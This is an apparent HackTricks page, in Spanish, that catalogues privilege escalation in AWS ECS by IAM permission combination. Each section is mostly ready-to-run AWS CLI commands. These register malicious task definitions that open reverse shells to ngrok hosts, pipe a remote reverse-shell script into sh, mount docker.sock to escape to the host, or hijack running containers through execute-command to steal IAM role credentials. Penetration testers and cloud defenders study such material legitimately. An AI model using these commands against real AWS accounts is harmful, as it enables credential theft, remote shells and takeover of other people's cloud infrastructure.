AWS - ECS Privesc

Apoya a HackTricks

ECS

Más info sobre ECS en:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Un atacante que abuse de los permisos iam:PassRole, ecs:RegisterTaskDefinition y ecs:RunTask en ECS puede generar una nueva definición de tarea con un contenedor malicioso que roba las credenciales de metadatos y ejecutarlo.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Impacto Potencial: Privilegios directos a un rol diferente de ECS.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Al igual que en el ejemplo anterior, un atacante que abuse de los permisos iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask en ECS puede generar una nueva definición de tarea con un contenedor malicioso que roba las credenciales de metadatos y ejecutarlo. Sin embargo, en este caso, se necesita una instancia de contenedor para ejecutar la definición de tarea maliciosa.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Impacto Potencial: Privesc directo a cualquier rol de ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Al igual que en el ejemplo anterior, un atacante que abuse de los permisos iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService o ecs:CreateService en ECS puede generar una nueva definición de tarea con un contenedor malicioso que roba las credenciales de metadatos y ejecutarlo creando un nuevo servicio con al menos 1 tarea en ejecución.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Impacto Potencial: Privesc directo a cualquier rol de ECS.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

De hecho, solo con esos permisos es posible usar overrides para ejecutar comandos arbitrarios en un contenedor con un rol arbitrario con algo como:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Impacto Potencial: Privesc directo a cualquier rol de ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Este escenario es similar a los anteriores pero sin el permiso iam:PassRole. Esto sigue siendo interesante porque si puedes ejecutar un contenedor arbitrario, incluso si es sin un rol, podrías ejecutar un contenedor privilegiado para escapar al nodo y robar el rol IAM de EC2 y los otros roles de contenedores ECS que se ejecutan en el nodo. Incluso podrías forzar que otras tareas se ejecuten dentro de la instancia EC2 que comprometes para robar sus credenciales (como se discute en la sección Privesc to node).

Este ataque solo es posible si el cluster ECS está usando instancias EC2 y no Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Un atacante con los permisos ecs:ExecuteCommand, ecs:DescribeTasks puede ejecutar comandos dentro de un contenedor en ejecución y exfiltrar el rol IAM adjunto a él (necesitas los permisos de describe porque es necesario ejecutar aws ecs execute-command). Sin embargo, para hacer eso, la instancia del contenedor necesita estar ejecutando el agente ExecuteCommand (que por defecto no lo está).

Por lo tanto, el atacante podría intentar:

  • Intentar ejecutar un comando en cada contenedor en ejecución

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • Si tiene ecs:RunTask, ejecuta una tarea con aws ecs run-task --enable-execute-command [...]

  • Si tiene ecs:StartTask, ejecuta una tarea con aws ecs start-task --enable-execute-command [...]

  • Si tiene ecs:CreateService, crea un servicio con aws ecs create-service --enable-execute-command [...]

  • Si tiene ecs:UpdateService, actualiza un servicio con aws ecs update-service --enable-execute-command [...]

Puedes encontrar ejemplos de esas opciones en secciones anteriores de privesc de ECS.

Impacto Potencial: Privesc a un rol diferente adjunto a contenedores.

ssm:StartSession

Consulta en la página de ssm privesc cómo puedes abusar de este permiso para privesc a ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Consulta en la página de ec2 privesc cómo puedes abusar de estos permisos para privesc a ECS:

AWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: ¿Es posible registrar una instancia desde una cuenta de AWS diferente para que las tareas se ejecuten en máquinas controladas por el atacante?

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Probar esto

Un atacante con los permisos ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet y ecs:DescribeTaskSets puede crear un conjunto de tareas malicioso para un servicio ECS existente y actualizar el conjunto de tareas principal. Esto permite al atacante ejecutar código arbitrario dentro del servicio.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Impacto Potencial: Ejecutar código arbitrario en el servicio afectado, potencialmente impactando su funcionalidad o exfiltrando datos sensibles.

Referencias

Apoya HackTricks

Last updated